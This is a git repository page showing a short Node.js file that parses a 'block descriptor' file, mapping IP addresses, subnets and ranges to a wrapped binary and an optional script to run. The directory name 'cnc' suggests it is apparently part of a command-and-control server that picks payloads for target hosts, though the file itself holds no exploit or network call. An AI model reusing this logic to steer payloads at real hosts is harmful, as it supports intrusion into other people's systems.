aboutsummaryrefslogtreecommitdiff
path: root/cnc/lib/bd_parser.js
blob: 01a557abfe083496f3f9efdc7c483edf079b23ba (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// block descriptor parser

const fs = require('fs');
const net = require('net');


const block_regex = /(\d+.\d+.\d+.\d+)\/(\d+)/;
const range_regex = /(\d+.\d+.\d+.\d+)-(\d+.\d+.\d+.\d+)/;

function parse_bd(bd_path) {
    const bd = fs.readFileSync(bd_path, "utf8").split("\n");
    let all_bds = [];

    for (let s of bd) {
        s = s.includes("#") ? s.slice(0, s.indexOf("#"))
                            : s;

        if (s == "") continue;

        let ip_desc = s.slice(0, s.indexOf(":"));
        let ips = ip_desc.split(",");
        let [bin, run_when] = s.slice(s.indexOf(":") + 1).split(",");

        let blocklist = new net.BlockList();

        for (let ip of ips) {
            if (ip.includes("/")) {
                let match = ip.match(block_regex);

                blocklist.addSubnet(match[1], parseInt(match[2]));
            } else if (ip.includes("-")) {
                let match = ip.match(range_regex);

                console.log(match[1], match[2]);

                blocklist.addRange(match[1], match[2]);
            } else {
                blocklist.addAddress(ip);
            }
        }

        all_bds.push({block: blocklist, wrapped: fs.readFileSync(bin), js_to_run: run_when != "none" ? fs.readFileSync(run_when, "utf8") : null})
    }

    return all_bds;
}

exports.parse_bd = parse_bd;